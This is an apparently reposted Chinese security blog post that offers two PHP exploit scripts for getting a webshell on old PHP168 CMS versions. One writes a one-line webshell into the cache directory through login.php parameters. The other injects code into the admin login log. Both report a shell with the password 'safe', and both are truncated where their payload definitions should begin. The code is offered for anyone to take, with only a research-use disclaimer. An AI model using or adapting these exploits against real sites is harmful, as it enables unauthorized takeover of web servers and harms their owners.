PHP168 GetShell 0day

独自等待 2017年5月10日20:27:48评论726 views字数 1393阅读4分38秒阅读模式

最近好忙,一直没有时间更新博客,对不住大伙了。这两天渗透测试一项目,遇到了php168,也就是现在的齐博CMS文章系统的前身。关注了一下php168的漏洞,折腾出来了两个exp发给大家玩玩,喜欢的拿去,不喜欢的算了。

PHP168 6.0以下版本Getshell

入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。

';
$url = "http://$host/$path/cache/$shell";
echo '正在GetShell,请稍候……' . "\n\n";
send_pack();
shell_ok($url);
//判断shell是否写入成功
function shell_ok($url)
{
    $headers = get_headers($url);
    if (strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
        echo '恭喜大爷,一句话写入成功,密码为:safe' . "\n\n" . 'Shell地址为:' . $url . "\n";
    } else {
        echo 'Shell写入失败,请尝试更换目录测试。' . "\n";
    }

}

//发送数据包函数
function send_pack()
{
    global $host, $path, $shell, $code;
    $data = "GET " . $path . "/login.php?makehtml=1&chdb[htmlname]=$shell&chdb[path]=cache&content=$code HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: BaiduSpider\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = @fsockopen($host, 80, $errno, $errstr, 30);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        echo $errno . '-->' . $errstr . "\n";
        exit('Could not connect to: ' . $host);
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}

?>

参考网站:http://huaidan.org/archives/3276.html

PHP168 4.0以下版本代码执行,可GetShell

这个在比较低版本下面可以测试成功,原理是php168在登陆的时候会把登陆信息保存了cache/adminlogin_logs.php文件中,保存的信息是在“”中,我们知道php中“”内是可以解析变量的,那么我们只要在登陆的信息中写入代码即可,详细的可以自己看下面的exp。

";
    @file_get_contents($shell_url);
    $shell = "http://$host/$path/cache/config.php";
    if (@fopen($shell, 'r')) {
        echo '恭喜大爷,一句话写入成功,密码为:safe' . "\n\n" . 'Shell地址为:' . $shell . "\n";
    } else {
        echo 'Shell写入失败,请更换路径测试!' . "\n";
    }
}

//发送数据包函数
function send_pack($code)
{
    global $host, $path;
    $data = "POST " . $path . "/admin/index.php HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: BaiduSpider\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: " . strlen($code) . "\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $code . "\r\n";
    //echo $data;exit;
    $fp = @fsockopen($host, 80, $errno, $errstr, 30);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        echo $errno . '-->' . $errstr . "\n";
        exit('Could not connect to: ' . $host);
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}

?>

PHP168 0day

由于PHP168文章系统已经不再更新了,改名为齐博CMS了,所以这两个0day其它用处不大的。。。



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日20:27:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP168 GetShell 0dayhttps://cn-sec.com/archives/50164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息